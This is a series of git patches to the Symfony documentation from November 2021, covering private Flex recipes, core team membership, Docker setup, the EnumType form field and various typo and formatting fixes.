 Store Your Recipes in the Private Repository
 --------------------------------------------
 
-Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root directory of your
-private GitHub repository.
+Upload the recipe ``.json`` file(s) and the ``index.json`` file into the root
+directory of your private GitHub repository.
 
 Grant ``composer`` Access to the Private Repository
--------------------------------------------------
+---------------------------------------------------
 
 In your GitHub account, click your account icon in the top-right corner, select
 ``Settings`` and ``Developer Settings``. Then select ``Personal Access Tokens``.
 
-Generate a new access token with ``Full control of private repositories`` privileges.
-
-Copy the access token value, switch to the terminal of your local computer, and execute
-the following command:
+Generate a new access token with ``Full control of private repositories``
+privileges. Copy the access token value, switch to the terminal of your local
+computer, and execute the following command:
 
 .. code-block:: terminal
 
@@ -176,7 +171,7 @@ the following command:
 Replace ``[token]`` with the value of your GitHub personal access token.
 
 Configure Your Project's ``composer.json`` File
----------------------------------------------
+-----------------------------------------------
 
 Add the following to your project's ``composer.json`` file:
 
@@ -197,25 +192,27 @@ Replace ``your-github-account-name`` and ``your-recipes-repository`` with your o
 
 .. tip::
 
-    The ``extra.symfony`` key will most probably already exist in your ``composer.json``. Simply
-    add the ``"endpoint"`` key to the existing ``extra.symfony`` entry.
+    The ``extra.symfony`` key will most probably already exist in your
+    ``composer.json``. In that case, add the ``"endpoint"`` key to the existing
+    ``extra.symfony`` entry.
 
 .. tip::
 
-    The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and **not* to
-    ``https://www.github.com``. The latter will not work.
+    The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and
+    **not* to ``https://www.github.com``.
 
 Install the Recipes in Your Project
 -----------------------------------
 
-If your private bundles / packages have not yet been installed in your project, run the following command:
+If your private bundles/packages have not yet been installed in your project,
+run the following command:
 
 .. code-block:: terminal
 
     composer update
 
-If the private bundles / packages have already been installed and you just want to install the new
-private recipes, run the following command:
+If the private bundles/packages have already been installed and you just want to
+install the new private recipes, run the following command:
 
 .. code-block:: terminal
 

From 5d85f17113bf6cb2e85a9a84448083db18f14b5a Mon Sep 17 00:00:00 2001
From: Fabien Potencier <fabien@potencier.org>
Date: Thu, 18 Nov 2021 16:03:58 +0100
Subject: [PATCH 2719/7107] Add some core team members

---
 contributing/code/core_team.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 5b9d2222ab8..d44412617a7 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -71,7 +71,11 @@ Active Core Members
   * **Alexander M. Turek** (`derrabus`_);
   * **Jérémy Derussé** (`jderusse`_);
   * **Titouan Galopin** (`tgalopin`_);
-  * **Oskar Stark** (`OskarStark`_).
+  * **Oskar Stark** (`OskarStark`_);
+  * **Thomas Calvet** (`fancyweb`_);
+  * **Mathieu Santostefano** (`welcomattic`_);
+  * **Kevin Bond** (`kbond`_);
+  * **Jérôme Tamarelle** (`gromnan`_).
 
 * **Security Team** (``@symfony/security`` on GitHub):
 
@@ -207,3 +211,7 @@ discretion of the **Project Leader**.
 .. _`derrabus`: https://github.com/derrabus/
 .. _`jderusse`: https://github.com/jderusse/
 .. _`tgalopin`: https://github.com/tgalopin/
+.. _`fancyweb`: https://github.com/fancyweb/
+.. _`welcomattic`: https://github.com/welcomattic/
+.. _`kbond`: https://github.com/kbond/
+.. _`gromnan`: https://github.com/gromnan/

From 32e6088757d8d1c4e1ab93d7386b27a897be2d2d Mon Sep 17 00:00:00 2001
From: Pedro Piedade <ppiedade@rawnet.com>
Date: Tue, 20 Jul 2021 08:18:29 +0100
Subject: [PATCH 2720/7107] Update advanced-config.rst

I think the documentation is missing the manifest definition step
---
 frontend/encore/advanced-config.rst | 15 +++++++++++++++
 1 file changed, 15 insertions(+)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 021fc25ce24..433de1da3b3 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -122,6 +122,21 @@ Next, define the output directories of each build:
             firstConfig: '%kernel.project_dir%/public/first_build'
             secondConfig: '%kernel.project_dir%/public/second_build'
 
+
+Also define the asset manifests for each build:
+
+.. code-block:: yaml
+
+    # config/packages/assets.yaml
+    framework:
+        assets:
+            packages:
+                first_build:
+                    json_manifest_path: '%kernel.project_dir%/public/first_build/manifest.json'
+                second_build:
+                    json_manifest_path: '%kernel.project_dir%/public/second_build/manifest.json'
+
+
 Finally, use the third optional parameter of the ``encore_entry_*_tags()``
 functions to specify which build to use:
 

From 1d56e69e465f7444c71650607c8ebf9a7cf02162 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 16:57:23 +0100
Subject: [PATCH 2721/7107] Tweaks

---
 frontend/encore/advanced-config.rst | 2 --
 1 file changed, 2 deletions(-)

diff --git a/frontend/encore/advanced-config.rst b/frontend/encore/advanced-config.rst
index 433de1da3b3..722a8b57aa4 100644
--- a/frontend/encore/advanced-config.rst
+++ b/frontend/encore/advanced-config.rst
@@ -122,7 +122,6 @@ Next, define the output directories of each build:
             firstConfig: '%kernel.project_dir%/public/first_build'
             secondConfig: '%kernel.project_dir%/public/second_build'
 
-
 Also define the asset manifests for each build:
 
 .. code-block:: yaml
@@ -136,7 +135,6 @@ Also define the asset manifests for each build:
                 second_build:
                     json_manifest_path: '%kernel.project_dir%/public/second_build/manifest.json'
 
-
 Finally, use the third optional parameter of the ``encore_entry_*_tags()``
 functions to specify which build to use:
 

From 2075bb9fac81ad3014f5d79e9673f49cbdd9d92a Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Wed, 17 Nov 2021 14:13:31 +0100
Subject: [PATCH 2722/7107] Update page_creation.rst

---
 page_creation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/page_creation.rst b/page_creation.rst
index 76b892c8455..b921671c6ae 100644
--- a/page_creation.rst
+++ b/page_creation.rst
@@ -118,7 +118,7 @@ You can now add your route directly *above* the controller:
         +   /**
         +    * @Route("/lucky/number")
         +    */
-            public function number()
+            public function number(): Response
             {
                 // this looks exactly the same
             }
@@ -134,7 +134,7 @@ You can now add your route directly *above* the controller:
         class LuckyController
         {
         +   #[Route('/lucky/number')]
-            public function number()
+            public function number(): Response
             {
                 // this looks exactly the same
             }

From 2b08260b78f68e3dc89a7fbc57b4fed9bdffff89 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 17:41:13 +0100
Subject: [PATCH 2723/7107] Tweak

---
 workflow.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/workflow.rst b/workflow.rst
index 2d3fdb9352c..8845953a2e1 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -388,7 +388,8 @@ order:
 
     .. versionadded:: 5.2
 
-        In Symfony 5.2, the context is customizable for all events except for workflow.guard events, which will not receive the custom $context::
+        In Symfony 5.2, the context is customizable for all events except for
+        ``workflow.guard`` events, which will not receive the custom ``$context``::
 
             // $context must be an array
             $context = ['context_key' => 'context_value'];

From 5473e5e6c780323c4f10acffbdede4421725b505 Mon Sep 17 00:00:00 2001
From: Mathieu Santostefano <msantostefano@protonmail.com>
Date: Thu, 18 Nov 2021 19:49:31 +0100
Subject: [PATCH 2724/7107] Fix small typos on Core Team page

---
 contributing/code/core_team.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index d44412617a7..566b07fadad 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -156,8 +156,8 @@ A pull request **can be merged** if:
 
 * Enough time was given for peer reviews;
 
-* At least two **Merger Team** members voted ``+1`` (only one if the submitter
-  is part of the Merger team) and no Core member voted ``-1`` (via GitHub
+* At least two **Mergers Team** members voted ``+1`` (only one if the submitter
+  is part of the Mergers team) and no Core member voted ``-1`` (via GitHub
   reviews or as comments).
 
 Pull Request Merging Process

From bcb2dd5e5c00cf02821e0f8fdcd0e440532d2b8e Mon Sep 17 00:00:00 2001
From: Javier Spagnoletti <phansys@gmail.com>
Date: Thu, 18 Nov 2021 23:12:46 -0300
Subject: [PATCH 2725/7107] Update URL for DoctrineExtensions

---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index 9d98f26b7ca..c29fa8a827f 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -54,7 +54,7 @@ The database connection information is stored as an environment variable called
 
     # to use postgresql:
     # DATABASE_URL="postgresql://db_user:db_password@127.0.0.1:5432/db_name?serverVersion=11&charset=utf8"
-    
+
     # to use oracle:
     # DATABASE_URL="oci8://db_user:db_password@127.0.0.1:1521/db_name"
 
@@ -923,5 +923,5 @@ Learn more
 .. _`Doctrine screencast series`: https://symfonycasts.com/screencast/symfony-doctrine
 .. _`API Platform`: https://api-platform.com/docs/core/validation/
 .. _`PDO`: https://www.php.net/pdo
-.. _`available Doctrine extensions`: https://github.com/Atlantic18/DoctrineExtensions
+.. _`available Doctrine extensions`: https://github.com/doctrine-extensions/DoctrineExtensions
 .. _`StofDoctrineExtensionsBundle`: https://github.com/stof/StofDoctrineExtensionsBundle

From 27622db2ba2b1f2130cf6a7ad26a24e98fbc5166 Mon Sep 17 00:00:00 2001
From: Ryan Weaver <ryan@thatsquality.com>
Date: Thu, 18 Nov 2021 12:04:46 -0500
Subject: [PATCH 2726/7107] Adding a page about Symfony & Docker

---
 .doctor-rst.yaml         |  1 +
 setup.rst                |  8 ++++++
 setup/docker.rst         | 56 ++++++++++++++++++++++++++++++++++++++++
 setup/symfony_server.rst |  2 +-
 4 files changed, 66 insertions(+), 1 deletion(-)
 create mode 100644 setup/docker.rst

diff --git a/.doctor-rst.yaml b/.doctor-rst.yaml
index 86741f56f86..70b646e146a 100644
--- a/.doctor-rst.yaml
+++ b/.doctor-rst.yaml
@@ -71,6 +71,7 @@ whitelist:
         - '/``.yml``/'
         - '/(.*)\.orm\.yml/' # currently DoctrineBundle only supports .yml
         - '/rst-class/'
+        - /docker-compose\.yml/
     lines:
         - 'in config files, so the old ``app/config/config_dev.yml`` goes to'
         - '#. The most important config file is ``app/config/services.yml``, which now is'
diff --git a/setup.rst b/setup.rst
index 323821be54f..3cfbae048b0 100644
--- a/setup.rst
+++ b/setup.rst
@@ -122,6 +122,8 @@ In production, you should install a webserver like Nginx or Apache and
 method can also be used if you're not using the Symfony local web server for
 development.
 
+.. _symfony-binary-web-server:
+
 However for local development, the most convenient way of running Symfony is by
 using the :doc:`local web server </setup/symfony_server>` provided by the
 ``symfony`` binary. This local server provides among other things support for
@@ -145,6 +147,11 @@ the server by pressing ``Ctrl+C`` from your terminal.
     The web server works with any PHP application, not only Symfony projects,
     so it's a very useful generic development tool.
 
+Symfony Docker Integration
+~~~~~~~~~~~~~~~~~~~~~~~~~~
+
+If you'd like to use Docker with Symfony, see :doc:`setup/docker`
+
 .. _symfony-flex:
 
 Installing Packages
@@ -303,6 +310,7 @@ Learn More
     :maxdepth: 1
     :glob:
 
+    setup/docker
     setup/homestead
     setup/web_server_configuration
     setup/*
diff --git a/setup/docker.rst b/setup/docker.rst
new file mode 100644
index 00000000000..5ac1e47b97b
--- /dev/null
+++ b/setup/docker.rst
@@ -0,0 +1,56 @@
+.. index:: Docker
+
+Using Docker with Symfony
+=========================
+
+Can you use Docker with Symfony? Of course! And several tools exist to help,
+depending on your needs.
+
+Complete Docker Environment
+---------------------------
+
+If you'd like a complete Docker environment (i.e. where PHP, web server, database,
+etc. are all in Docker), check out `https://github.com/dunglas/symfony-docker`_.
+
+Alternatively, you can install PHP on your local machine and use the
+:ref:`symfony binary Docker integration <symfony-server-docker>`. In both cases,
+you can take advantage of automatic Docker configuration from :ref:`Symfony Flex <symfony-flex>`.
+
+Flex Recipes & Docker Configuration
+-----------------------------------
+
+The :ref:`Flex recipe <symfony-flex>` for some packages also include Docker configuration.
+For example, when you run ``composer require doctrine`` (to get ``symfony/orm-pack``),
+your ``docker-compose.yml`` file will automatically be updated to include a
+``database`` service.
+
+The first time you install a recipe containing Docker config, Flex will ask you
+if you want to include it. Or, you can set your preference in ``composer.json``,
+by seting the ``symfony.extra.docker`` config to ``true`` or ``false``.
+
+Some recipes also include additions to your ``Dockerfile``. To get those changes,
+you need to already have a ``Dockerfile`` at the root of your app *with* the
+following code somewhere inside:
+
+.. code-block:: text
+
+    ###> recipes ###
+    ###< recipes ###
+
+The recipe will find this section and add the changes inside. If you're using
+`https://github.com/dunglas/symfony-docker`_, you'll already have this.
+
+After installing the package, rebuild your containers by running:
+
+.. code-block:: terminal
+
+    $ docker-compose up --build
+
+Symfony Binary Web Server and Docker Support
+--------------------------------------------
+
+If you're using the :ref:`symfony binary web server` (e.g. ``symfony server:start``),
+then it can automatically detect your Docker services and expose them as environment
+variables. See :ref:`symfony-server-docker`.
+
+.. _`https://github.com/dunglas/symfony-docker`: https://github.com/dunglas/symfony-docker
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index 8172060484e..d1570fe6f01 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -281,7 +281,7 @@ Docker Integration
 ------------------
 
 The local Symfony server provides full `Docker`_ integration for projects that
-use it.
+use it. To learn more about Docker & Symfony, see :doc:`docker`.
 
 When the web server detects that Docker Compose is running for the project, it
 automatically exposes some environment variables.

From 54ea02185091cc71061efa27fcd4765ed05fc76b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Nov 2021 15:10:47 +0100
Subject: [PATCH 2727/7107] Typo

---
 setup/docker.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/docker.rst b/setup/docker.rst
index 5ac1e47b97b..bd8eb145af8 100644
--- a/setup/docker.rst
+++ b/setup/docker.rst
@@ -26,7 +26,7 @@ your ``docker-compose.yml`` file will automatically be updated to include a
 
 The first time you install a recipe containing Docker config, Flex will ask you
 if you want to include it. Or, you can set your preference in ``composer.json``,
-by seting the ``symfony.extra.docker`` config to ``true`` or ``false``.
+by setting the ``symfony.extra.docker`` config to ``true`` or ``false``.
 
 Some recipes also include additions to your ``Dockerfile``. To get those changes,
 you need to already have a ``Dockerfile`` at the root of your app *with* the

From 222854dcd0a4601446170cd65ee7221960d1134b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Nov 2021 15:12:42 +0100
Subject: [PATCH 2728/7107] Add some missing prompts in command examples

---
 setup/flex_private_recipes.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index 30d5fed24c4..c57768f27d9 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -166,7 +166,7 @@ computer, and execute the following command:
 
 .. code-block:: terminal
 
-    composer config --global --auth github-oauth.github.com [token]
+    $ composer config --global --auth github-oauth.github.com [token]
 
 Replace ``[token]`` with the value of your GitHub personal access token.
 
@@ -209,14 +209,14 @@ run the following command:
 
 .. code-block:: terminal
 
-    composer update
+    $ composer update
 
 If the private bundles/packages have already been installed and you just want to
 install the new private recipes, run the following command:
 
 .. code-block:: terminal
 
-    composer recipes
+    $ composer recipes
 
 .. _`release of version 1.16`: https://github.com/symfony/cli
 .. _`Symfony recipe files`: https://github.com/symfony/recipes/tree/flex/main

From bbc67f61997073a78db7d709fcf7e70a5b9e3225 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Nov 2021 15:16:07 +0100
Subject: [PATCH 2729/7107] Fix a wrong code block syntax

---
 setup/flex_private_recipes.rst | 4 +---
 1 file changed, 1 insertion(+), 3 deletions(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index c57768f27d9..b0d5e271e5b 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -67,9 +67,7 @@ recipe, you also need to generate a new ``"ref"`` value.
 
 .. tip::
 
-    Use the following PHP script to generate a random ``"ref"`` value.
-
-    .. code-block::
+    Use the following PHP script to generate a random ``"ref"`` value::
 
         echo bin2hex(random_bytes(20));
 

From 9a41a18d719e0e081508a97166499cd79ddbbbda Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 19 Nov 2021 17:33:06 +0100
Subject: [PATCH 2730/7107] Fix a minor syntax issue

---
 setup/flex_private_recipes.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/setup/flex_private_recipes.rst b/setup/flex_private_recipes.rst
index b0d5e271e5b..5941ba2908f 100644
--- a/setup/flex_private_recipes.rst
+++ b/setup/flex_private_recipes.rst
@@ -197,7 +197,7 @@ Replace ``your-github-account-name`` and ``your-recipes-repository`` with your o
 .. tip::
 
     The ``endpoint`` URL **must** point to ``https://api.github.com/repos`` and
-    **not* to ``https://www.github.com``.
+    **not** to ``https://www.github.com``.
 
 Install the Recipes in Your Project
 -----------------------------------

From da7c88512a7686bc8a742da2fab0369178fcaf16 Mon Sep 17 00:00:00 2001
From: VosKoen <40901069+VosKoen@users.noreply.github.com>
Date: Fri, 19 Nov 2021 20:06:52 +0100
Subject: [PATCH 2731/7107] Update associations.rst

syntax error in orphanRemoval=true

In the Attributes code example #[ORM\OneToMany(mappedBy: 'user', targetEntity: Recipe::class, orphanRemoval=true)], doesn't work because of wrong syntax.
should be #[ORM\OneToMany(mappedBy: 'user', targetEntity: Recipe::class, orphanRemoval: true)]
---
 doctrine/associations.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 94c74dc0a6f..46c843699de 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -676,7 +676,7 @@ that behavior, use the `orphanRemoval`_ option inside ``Category``:
 
         // ...
 
-        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval=true)]
+        #[ORM\OneToMany(targetEntity: Product::class, mappedBy: "category", orphanRemoval: true)]
         private $products;
 
 

From 40cf2223f956390d7e58a0e0fb8250c3bf2110c9 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Sat, 20 Nov 2021 11:09:20 +0100
Subject: [PATCH 2732/7107] remove outdated doc URL that redirects to the same
 page

---
 security.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security.rst b/security.rst
index 6720fb9a6e1..912ad871b1d 100644
--- a/security.rst
+++ b/security.rst
@@ -27,7 +27,6 @@ creates a ``security.yaml`` configuration file for you:
 
     # config/packages/security.yaml
     security:
-        # https://symfony.com/doc/current/security/experimental_authenticators.html
         enable_authenticator_manager: true
         # https://symfony.com/doc/current/security.html#c-hashing-passwords
         password_hashers:

From 25dae6c5e3949c00ab42f490b22667ab0ab4915e Mon Sep 17 00:00:00 2001
From: Carlos Pereira De Amorim <carlos@shauri.fr>
Date: Wed, 17 Nov 2021 23:48:41 +0100
Subject: [PATCH 2733/7107] Correction for testing commands

The kernel has to be booted and not created
---
 console.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/console.rst b/console.rst
index 20574b05f91..a4d0359401b 100644
--- a/console.rst
+++ b/console.rst
@@ -361,7 +361,7 @@ console::
     {
         public function testExecute()
         {
-            $kernel = static::createKernel();
+            $kernel = self::bootKernel();
             $application = new Application($kernel);
 
             $command = $application->find('app:create-user');

From 16ffcdae52493d4f23c1841e56a32aad81531f7b Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Thu, 18 Nov 2021 16:29:39 +0100
Subject: [PATCH 2734/7107] [Form] Add the docs for EnumType

---
 reference/forms/types.rst         |   1 +
 reference/forms/types/enum.rst    | 119 ++++++++++++++++++++++++++++++
 reference/forms/types/map.rst.inc |   1 +
 3 files changed, 121 insertions(+)
 create mode 100644 reference/forms/types/enum.rst

diff --git a/reference/forms/types.rst b/reference/forms/types.rst
index 61ff1b5bf86..eaa0344f141 100644
--- a/reference/forms/types.rst
+++ b/reference/forms/types.rst
@@ -23,6 +23,7 @@ Form Types Reference
    types/color
 
    types/choice
+   types/enum
    types/entity
    types/country
    types/language
diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
new file mode 100644
index 00000000000..e9842516acc
--- /dev/null
+++ b/reference/forms/types/enum.rst
@@ -0,0 +1,119 @@
+.. index::
+   single: Forms; Fields; EnumType
+
+EnumType Field
+==============
+
+.. versionadded:: 5.4
+
+   The ``EnumType`` form field was introduced in Symfony 5.4.
+
+A multi-purpose field used to allow the user to "choose" one or more options
+defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
+field and defines the same options.
+
++---------------------------+----------------------------------------------------------------------+
+| Rendered as               | can be various tags (see below)                                      |
++---------------------------+----------------------------------------------------------------------+
+| Default invalid message   | The selected choice is invalid.                                      |
++---------------------------+----------------------------------------------------------------------+
+| Legacy invalid message    | The value {{ value }} is not valid.                                  |
++---------------------------+----------------------------------------------------------------------+
+| Parent type               | :doc:`ChoiceType </reference/forms/types/choice>`                    |
++---------------------------+----------------------------------------------------------------------+
+| Class                     | :class:`Symfony\\Component\\Form\\Extension\\Core\\Type\\EnumType`   |
++---------------------------+----------------------------------------------------------------------+
+
+.. include:: /reference/forms/types/options/_debug_form.rst.inc
+
+Example Usage
+-------------
+
+Before using this field, you'll need to have some PHP enumeration (or "enum" for
+short) defined somewhere in your application. This enum has to be of type
+"backed enum", where each keyword defines a scalar value such a string::
+
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    enum TextAlign
+    {
+        case Left = 'Left/Start aligned';
+        case Center = 'Center/Middle aligned';
+        case Right = 'Right/End aligned';
+    }
+
+Instead of using the values of the enumeration in a ``choices`` option, the
+``EnumType`` only requires to define the ``class`` option pointing to the enum::
+
+    use App\Config\TextAlign;
+    use Symfony\Component\Form\Extension\Core\Type\EnumType;
+    // ...
+
+    $builder->add('alignment', EnumType::class, ['class' => TextAlign::class]);
+
+This will display a ``<select>`` tag with the three possible values defined in
+the ``TextAlign`` enum. Use the ``expanded`` and ``multiple`` options to display
+these values as ``<input type="checkbox">`` and ``<input type="radio">``.
+
+Field Options
+-------------
+
+class
+~~~~~
+
+**type**: ``string`` **default**: (it has no default)
+
+The fully-qualified class name (FQCN) of the PHP enum used to get the values
+displayed by this form field.
+
+Inherited Options
+-----------------
+
+These options inherit from the :doc:`ChoiceType </reference/forms/types/choice>`:
+
+.. include:: /reference/forms/types/options/error_bubbling.rst.inc
+
+.. include:: /reference/forms/types/options/error_mapping.rst.inc
+
+.. include:: /reference/forms/types/options/expanded.rst.inc
+
+.. include:: /reference/forms/types/options/multiple.rst.inc
+
+.. include:: /reference/forms/types/options/placeholder.rst.inc
+
+.. include:: /reference/forms/types/options/preferred_choices.rst.inc
+
+.. include:: /reference/forms/types/options/choice_type_trim.rst.inc
+
+These options inherit from the :doc:`FormType </reference/forms/types/form>`:
+
+.. include:: /reference/forms/types/options/attr.rst.inc
+
+.. include:: /reference/forms/types/options/data.rst.inc
+
+.. include:: /reference/forms/types/options/disabled.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_declaration.rst.inc
+
+.. include:: /reference/forms/types/options/empty_data_description.rst.inc
+
+.. include:: /reference/forms/types/options/help.rst.inc
+
+.. include:: /reference/forms/types/options/help_attr.rst.inc
+
+.. include:: /reference/forms/types/options/help_html.rst.inc
+
+.. include:: /reference/forms/types/options/label.rst.inc
+
+.. include:: /reference/forms/types/options/label_attr.rst.inc
+
+.. include:: /reference/forms/types/options/label_format.rst.inc
+
+.. include:: /reference/forms/types/options/mapped.rst.inc
+
+.. include:: /reference/forms/types/options/required.rst.inc
+
+.. include:: /reference/forms/types/options/row_attr.rst.inc
+
+.. _`PHP enumeration`: https://wiki.php.net/rfc/enumerations
diff --git a/reference/forms/types/map.rst.inc b/reference/forms/types/map.rst.inc
index 8171c836a4d..4d1ed612c67 100644
--- a/reference/forms/types/map.rst.inc
+++ b/reference/forms/types/map.rst.inc
@@ -19,6 +19,7 @@ Choice Fields
 ~~~~~~~~~~~~~
 
 * :doc:`ChoiceType </reference/forms/types/choice>`
+* :doc:`EnumType </reference/forms/types/enum>`
 * :doc:`EntityType </reference/forms/types/entity>`
 * :doc:`CountryType </reference/forms/types/country>`
 * :doc:`LanguageType </reference/forms/types/language>`

From fe3a9ba932ff50b0919af0c633b1990e99a33fc3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 20 Nov 2021 12:44:49 +0100
Subject: [PATCH 2735/7107] Remove the versionadded directive

---
 reference/forms/types/enum.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index e9842516acc..cea0aa09e3e 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -4,10 +4,6 @@
 EnumType Field
 ==============
 
-.. versionadded:: 5.4
-
-   The ``EnumType`` form field was introduced in Symfony 5.4.
-
 A multi-purpose field used to allow the user to "choose" one or more options
 defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
 field and defines the same options.

From c3695e417b38e587b8f7e2d9ecd86d9da00977d4 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 20 Nov 2021 12:45:08 +0100
Subject: [PATCH 2736/7107] Readd the versionadded directive

---
 reference/forms/types/enum.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index cea0aa09e3e..e9842516acc 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -4,6 +4,10 @@
 EnumType Field
 ==============
 
+.. versionadded:: 5.4
+
+   The ``EnumType`` form field was introduced in Symfony 5.4.
+
 A multi-purpose field used to allow the user to "choose" one or more options
 defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
 field and defines the same options.

From 8071ddc5c9608c3b1c7731b2d82f1b9d33f83cc8 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 20 Nov 2021 12:45:36 +0100
Subject: [PATCH 2737/7107] Remove the versionadded directive

---
 reference/forms/types/enum.rst | 4 ----
 1 file changed, 4 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index e9842516acc..cea0aa09e3e 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -4,10 +4,6 @@
 EnumType Field
 ==============
 
-.. versionadded:: 5.4
-
-   The ``EnumType`` form field was introduced in Symfony 5.4.
-
 A multi-purpose field used to allow the user to "choose" one or more options
 defined in a `PHP enumeration`_. It extends the :doc:`ChoiceType </refernce/forms/types/enum>`
 field and defines the same options.

From e53fc5b0bf365914f5a945c21f54754b7332c69d Mon Sep 17 00:00:00 2001
From: Mathieu Ducrot <mathieu.ducrot26@gmail.com>
Date: Sat, 20 Nov 2021 14:48:16 +0100
Subject: [PATCH 2738/7107] [Form] Fixed missing link text on introduction

## Description

The 3 refs on common use-cases was missing text heading.

Before that there were all having the render title "How to Dynamically Modify Forms Using Form Events"
---
 form/dynamic_form_modification.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/form/dynamic_form_modification.rst b/form/dynamic_form_modification.rst
index 7c52e5f3abd..2f885850a0e 100644
--- a/form/dynamic_form_modification.rst
+++ b/form/dynamic_form_modification.rst
@@ -7,18 +7,18 @@ How to Dynamically Modify Forms Using Form Events
 Often times, a form can't be created statically. In this article, you'll learn
 how to customize your form based on three common use-cases:
 
-1) :ref:`form-events-underlying-data`
+1) :ref:`Customizing your Form Based on the Underlying Data <form-events-underlying-data>`
 
    Example: you have a "Product" form and need to modify/add/remove a field
    based on the data on the underlying Product being edited.
 
-2) :ref:`form-events-user-data`
+2) :ref:`How to dynamically Generate Forms Based on user Data <form-events-user-data>`
 
    Example: you create a "Friend Message" form and need to build a drop-down
    that contains only users that are friends with the *current* authenticated
    user.
 
-3) :ref:`form-events-submitted-data`
+3) :ref:`Dynamic Generation for Submitted Forms <form-events-submitted-data>`
 
    Example: on a registration form, you have a "country" field and a "state"
    field which should populate dynamically based on the value in the "country"

From e179a506cb3c8eb2d1824156a9f670e8bcc96009 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Mon, 22 Nov 2021 09:49:09 +0100
Subject: [PATCH 2739/7107] Minor formatting tweaks in the Core Team article

---
 contributing/code/core_team.rst | 20 +++++++-------------
 1 file changed, 7 insertions(+), 13 deletions(-)

diff --git a/contributing/code/core_team.rst b/contributing/code/core_team.rst
index 566b07fadad..e3aa1d4660e 100644
--- a/contributing/code/core_team.rst
+++ b/contributing/code/core_team.rst
@@ -24,27 +24,21 @@ The Symfony Core groups, in descending order of priority, are as follows:
 
 1. **Project Leader**
 
-* Elects members in any other group;
-* Merges pull requests in all Symfony repositories.
+   * Elects members in any other group;
+   * Merges pull requests in all Symfony repositories.
 
 2. **Mergers Team**
 
-* Merge pull requests on the main Symfony repository.
+   * Merge pull requests on the main Symfony repository.
 
 In addition, there are other groups created to manage specific topics:
 
-**Security Team**
+* **Security Team**: manages the whole security process (triaging reported vulnerabilities,
+  fixing the reported issues, coordinating the release of security fixes, etc.)
 
